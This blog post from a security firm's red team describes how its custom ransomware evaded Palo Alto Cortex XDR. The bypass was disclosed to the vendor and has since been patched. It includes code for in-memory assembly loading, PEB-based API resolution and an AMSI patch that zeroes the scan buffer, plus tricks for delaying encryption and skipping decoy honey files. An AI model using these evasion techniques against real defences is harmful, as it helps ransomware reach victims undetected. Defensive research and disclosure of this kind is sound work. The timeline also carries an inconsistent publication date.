Honey! I bypassed Cortex XDR with ransomware

By Miguel González  from Metabase Q’s Ocelot Team

// Introduction

Ransomware as a Service (RaaS) is what consolidated, industrialized cybercrime looks like. It is a business model between ransomware operators and affiliates in which affiliates – both, technical and non-technical – pay to launch ransomware attacks developed by operators. What makes it dangerous is how easy people who lack the skills, time, or knowledge to develop their own ransomware variant can now have an attack up and running quickly and affordably (RaaS kits go from 40 to thousands of dollars). The only thing they have to do is go into the dark web and find a RaaS kit.

In Latin America, the cases continue to rise. In November 2019, the IT systems of PEMEX were compromised by ransomware; according to bleeping computer, attackers asked for the sum of 4.9 million USD. In 2021 alone, we’ve seen attacks on multiple Mexican institutions, including banks, with gigabytes of information leaked on the Deepweb, due to a possible lack of payment, like the case of the Mexican Loteria Nacional.

RaaS is the preferred tool by inexperienced attackers due to its growing sophistication and scalability. They just have to click the submit button to lease these types of platforms and start attacking companies worldwide. Once they start exfiltrating and encrypting customer data, it’s game over.

However, most companies think they will never be targeted by cybercrime, the truth is that it is only a matter of time. The inability to detect cyber-attacks has tangible effects on profitability and operability.  At Metabase Q, we know that for enterprise solutions a simple AV (Anti-Virus) is not enough, and a solution like an EDR or XDR is preferred. That is where our Offensive Security Team, Ocelot, comes in. We help our customers identify the absence or lack of security controls on their processes, people, and technology with our APT Simulation for Security Validation Service, which has three main objectives:

  1. Make sure the technology can protect against the latestattacks
  2. Measure the Time to Detect (TTD) and Time to Response(TTR) from Blue Teams
  3. Identifyweak or absence of controls in processes, people, and technology

To bypass advanced technologies, handcrafted Ransomware is needed. That is exactly what our Ocelot team provides, and what differentiates it from RaaS attackers. The main goal of these simulations is to reveal where the weak points are and thus enhance the organizations’ cybersecurity strategy. This is the only way to stay one step ahead of cybercrime.

In this blog we will walk you through the journey that allowed us to bypass the detection of Palo Alto Networks’ XDR solution to infect the system with our own OCELocker Ransomware, successfully encrypting the victim’s files.

The OCELocker Ransomware and techniques described in this blog post are now blocked by updated Palo Alto Networks Cortex XDR Agents. This includes Cortex XDR Agent version 7.6.2 and later versions (content update 380 onwards).

// Timeline

First, the team would like tothank Palo Alto Networks PSIRT Team for their cooperation and support to ourteam through the whole process.

  1. November 12th, 2021: Bypass executed successfully at customer site
  2. November 16th, 2021: Writeup, PoC, and Video shared with PANW PSIRT Team
  3. December 1st, 2021: PSIRT Team confirmed the bypass
  4. January 11th, 2022: PANW release the patch and added Miguel Gonzalez from Ocelot to Palo Alto’s Hall of Fame
  5. February 28th, 2021: Metabase Q released this blog

// PANW XDR Tested

Version:7.5 – Fully up to date at the time of the test (November 12th, 2021).

// Techniques

Before the team began the development of the ransomware, we did some research on how this specific XDR endpoint works under the hood and what could be done to hide malware from it, the following is a summary of various techniques that were used.

  • Dynamic assembly loading using.NET reflection
  • Dynamic import through PEB
  • Microsoft AMSI patching
  • File enumeration delay (ProbablyNEW technique)
  • Honey files identification andskip (NEW technique)

// Dynamic Assembly Loading

The team developed in our Lab the techniques (Encryption, Persistence, etc.) of Ryuk ransomware, and to confirm we successfully replicated those indicators, we tested it against Windows Defender. In figure 2 you can see that our replication of Ryuk was successful.

Figure 2:  Detection of our implementation of Ryuk

‍Now it’s time to work on the bypass techniques. In the first step, our malicious assembly (the dll variable in the code below) was loaded at runtime via .NET reflection:

Assembly asm = AppDomain.CurrentDomain.Load(dll); 
var entry = asm.EntryPoint;
entry.Invoke(null, new object[] {  });

// Dynamic Import through PEB

The attempt of dynamic loading of the assembly in memory failed due to the Microsoft Antimalware Scan Interface (AMSI) protection. So, it was decided to try a known technique to patch this AMSI component, there is a lot of documentation about this technique, however, after implementing it, the attempt was still stopped by Windows Defender as “AmsiTamper.B”.

Windows Defender detection

This technique is well known; therefore, it could be detected by any decent Endpoint solution that monitors critical Windows APIs being called (known as API Hooking technique). We decided to hide the calls to Windows APIs by using another known technique that dynamically obtains the addresses of the loaded DLLs of a process to jump to its functions directly in memory. In human terms, instead of using the Windows API to get the address of AMSI DLL in memory, we found it manually. Since we are not using the Windows API function, the endpoint solution did not detect this activity.

The way to perform this action is by reading and parsing the so-called Process Environment Block (PEB) data structure. This technique is widely documented so we are not going to go into the details in this blog.

Getting the address of this PEB structure in memory is as easy as executing the following code:

mov eax fs:30        ← For Windows 32 bits

o

mov rax gs:60        ← For Windows 64 bits

Once the address of the PEB structure is obtained, the LDR table is parsed, and from every DLL found, all its functions are identified in the current process’ memory space. In the next piece of code this implementation is shown:

_LDR_DATA_TABLE_ENTRY table = (_LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(ldr_data, 
typeof(_LDR_DATA_TABLE_ENTRY));
while (true)
{

byte[] h = new byte[32];
if(table.ptr2 == IntPtr.Zero)
{
    break;
}
Marshal.Copy(table.ptr2, h, 0, 32);
IntPtr imageBase = table.ptr2;
PEHeader header = new PEHeader(imageBase);
PEHeader.IMAGE_EXPORT_DIRECTORY exports = PEHeader.FromIntPtr
(new IntPtr(imageBase.ToInt64() + header.OptionalHeader64.ExportTable.VirtualAddress));
IntPtr names = new IntPtr(imageBase.ToInt64() + exports.AddressOfNames);
byte[] nameBytes = new Byte[32];
Marshal.Copy(names, nameBytes, 0, 32);
int namesi = 0;
for (namesi = 0; namesi < exports.NumberOfNames; namesi++)
{
    var dref = new IntPtr(names.ToInt64() + 8 * namesi);
    IntPtr nameIPtr = new IntPtr(imageBase.ToInt64() + Marshal.ReadInt32(dref));
    IntPtr funcIPtr = new IntPtr(imageBase.ToInt64() + exports.AddressOfFunctions + 8 * namesi);
    var functionName = Marshal.PtrToStringAnsi(nameIPtr);
    var functAddress = new IntPtr(imageBase.ToInt64() + Marshal.ReadInt32(funcIPtr));
    if (!availableFunctions.ContainsKey(functionName))
    {
        availableFunctions.Add(functionName, functAddress);
    }
}
table = (_LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(table.InLoadOrderModuleList, 
typeof(_LDR_DATA_TABLE_ENTRY));
}‍

With this PEB loading technique, the AV and XDR endpoint was not able to identify our attempt to patch AMSI in memory!

// AMSI Patching

Now it’s time to perform the AMSI Patching, but this time hiding the Windows API calling as explained in the previous section. It’s important to mention that the .NET framework is a consumer of the AMSI interface, an example of how the interface works is shown below, the idea was taken and adjusted from: https://gist.github.com/odzhan/ac6d8331b9fc950da21f8ab4ba4ea785#file-amsiscan-c

#include 
#include 
#include 
#include 

#include 

typedef HRESULT(WINAPI *AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT *amsiContext);

typedef HRESULT(WINAPI *AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, 
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result);

typedef void(WINAPI *AmsiUninitialize_t)(HAMSICONTEXT amsiContext);

bool IsMalicious(const char *file_path)
{
    AmsiInitialize_t _AmsiInitialize;
    AmsiScanBuffer_t _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HMODULE amsi;
    
    HANDLE file_map;
    HANDLE mem_view;
    AMSI_RESULT amsi_result;
    HAMSICONTEXT ctx;
    HANDLE file;
    HRESULT hr = -1;
    DWORD size, high;
    bool malware = false;
    amsi = LoadLibrary((LPCSTR) “amsi”);
    _AmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, “AmsiInitialize”);
    _AmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, “AmsiScanBuffer”);
    _AmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsi, “AmsiUninitialize”);
    if (_AmsiInitialize == NULL || _AmsiScanBuffer == NULL || _AmsiUninitialize == NULL)
    {
        std::cout << “Error while retrieving AMSI component.\n”;
        return false;
    }

    file = CreateFile((LPCSTR)file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 
    FILE_ATTRIBUTE_NORMAL, NULL);
    if (file != INVALID_HANDLE_VALUE)
    {
        size = GetFileSize(file, &high);
        if (size != 0)
        {
            file_map= CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
            if (file_map!= NULL)
            {
                mem_view = MapViewOfFile(file_map, FILE_MAP_READ, 0, 0, 0);
                if (mem_view != NULL)
                {
                    hr = _AmsiInitialize(L”AMSI Example”, &ctx);
                    if (hr == S_OK)
                    {
                      hr = _AmsiScanBuffer(ctx, mem_view, size, NULL, 0, &amsi_result);
                      if (hr == S_OK)
                      {
                       malware = (AmsiResultIsMalware(amsi_result) ||
                       AmsiResultIsBlockedByAdmin(amsi_result));
                      }
                      _AmsiUninitialize(ctx);
                    }
                    UnmapViewOfFile(mem_view);
                }
                CloseHandle(file_map);
            }
        }
        CloseHandle(file);
    }
    return malware;
}

int main(int argc, char **argv)
{

    int mal = IsMalicious(argv[1]);
    if(mal)
    {
        std::cout << “The file is malicious” << std::endl;
    }
    else 
    {
        std::cout << “The file is not malicious” << std::endl;
    }
    return 0;
}

What this means is that the call tothe interface was made in the same memory space as our process. We only had tofind the AMSI DLL module in memory with the PEB technique, find the targetfunction, and patch its code to avoid the interface from scanning the contentsof our assembly!

Almost there. In .NET there is nosupport for native code execution, so the team had to leverage the power ofdelegates to load the target functions.

Once we loaded the target function, inthis case: AmsiScanBuffer, we used the known technique to disable AMSI check bysetting the length of the Buffer to scan to zero, as follows:

mov edi, r8d

o

xor edi, edi       ← Sets the Amsi Buffer length to zero

This way, every time the AmsiScanBuffer function was called, the lengthof the buffer to scan was zero bytes. Meaning nothing to scan!

Once that patch was in place, we were ready to load the maliciousassembly in memory without detection!

// Encryption delay

We are halfway to achieving ourgoal. At this point our custom loader is working, meaning, we can load amalicious .NET assembly in memory without being detected, now it’s time to run ourmalicious Ransomware payload.

Here we confront the behavioralanalysis of the XDR, which would detect the enumeration and encryption in ashort period of time and flag it as ransomware behavior. By introducing a delayduring this encryption task, we avoid the XDR.

// Honey files identification

We identified that theXDR created hidden dummy files randomly across the file system, known as“honey” files (coined after “honeypot”), they are placed on disk at runtime tomonitor any indiscriminate usage of them, in this case, the attempt to encryptthem. In Figure 4 we can see how, since we didn’t consider this behavior atfirst, the XDR reported the malware and terminated the process, removing theexecutable from the disk.

XDR detecting the new attempt

In the next figure, we can see some of the honey files the XDR creates. They have random names and extensions and the “hidden” attribute set, to avoid being displayed in the filesystem.

Honey files created

Once we filtered out hidden files from encryption, voila! We were able to encrypt files and lock the computer without being detected by the XDR.

DEMO VIDEO HERE

// Recommendations

Ransomware attacks have become the top method used by attackers worldwide to obtain large amounts of money in a short time. Ransomware payments have tripled from 2019 to date.

Why are ransomware attacks growing exponentially?

The ease of executing ransomware attacks through services known as Ransomware as a Service (RaaS) reduces barriers of entry. RaaS allows non-technical people to hire a service that will enable them to compromise companies with minimal effort, sharing profits with the service creators.

How can we combat this threat that is here to stay for years to come?

First, accept that your organization will be infected with ransomware sooner or later unless you proactively make changes. The initial step is to strengthen your processes, people, and technology by testing your systems against a ransomware attack. Metabase Q offers a different spin on Ransomware as a Service via its APT Simulation for Security Validation service. By replicating multiple ransomware techniques like Ryuk, REvil, DarkSide, Avaddon, etc., in your network, we can test how well your blue team would respond, some of the benefits include:

  • Strengthen your organization’s Ransomware monitoring, detection, and response capabilities
  • Processes: Gap detection and strengthening of policies and procedures established to respond to an incident
  • People: Incident response training of SOC personnel
  • Technology: Identifying gaps in your security solutions: SMTP Gateway, Endpoint, Lateral Movement, Event Correlation, Malicious Callbacks, etc. Is your investment yielding the expected results?
  • We generate Indicators of Attacks and Indicators of Compromise to measure the Time to Detect and Time to Response to these threats
  • All the malware is created at our Ocelot Labs. With full control of its malicious actions, we can ensure no damage occurs to your systems, no matter the outcome.

To learn more about Metabase Q, the Ocelot offensive cybersecurity team and Security as a Service.